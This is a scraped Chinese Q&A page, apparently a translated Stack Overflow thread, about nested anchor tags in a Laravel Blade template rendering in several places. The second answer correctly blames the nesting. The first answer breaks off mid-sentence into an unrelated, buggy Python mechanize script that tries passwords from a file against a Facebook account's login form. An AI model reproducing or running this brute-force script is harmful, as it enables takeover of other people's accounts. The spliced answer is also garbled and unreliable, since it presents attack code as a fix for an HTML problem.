我在代码中指定的锚标记在浏览器中查看时会插入多个位置。
是什么导致了这个问题?我该怎么做才能解决这个问题?
<a href="{{ route('candidate.company.view', $company->id) }}" class="block no-overflow">
<div class="row space-inside-sides-sm">
<div class="col-lg-12 bg-light shadow-accent space-inside-sm">
<div class="row">
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<div class="image">
<img src="{{ asset('storage/' . $company->logo) }}" class="img-circle img-responsive">
</div>
</div>
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
<p class="vacancy-title">{{ $company->title }}</p>
<span>Amsterdam, NL</span>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<a href="#">
Followers: {{ $company->followers->count() }}
</a>
</div>
</div>
</div>
</div>
</a>
答案 0 :(得分:0)
检查一些JS / JQuery的代码可以克隆此代码,也可以尝试不使用from time import sleep
passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
br = mechanize.Browser()
br.set_handle_robots(False)
br.addheader = ['User-Agent','Firefox']
br.open('https://www.facebook.com')
br.select_form(nr=0)
br.form['email'] = "emai@..."
br.form['pass'] = pwd
sub = br.submit()
print sub.geturl()
sleep(5) # 5 seconds
答案 1 :(得分:0)
问题在于嵌套的锚标记。不允许嵌套锚标记。由于嵌套的锚标记,第一个锚标记会自动关闭。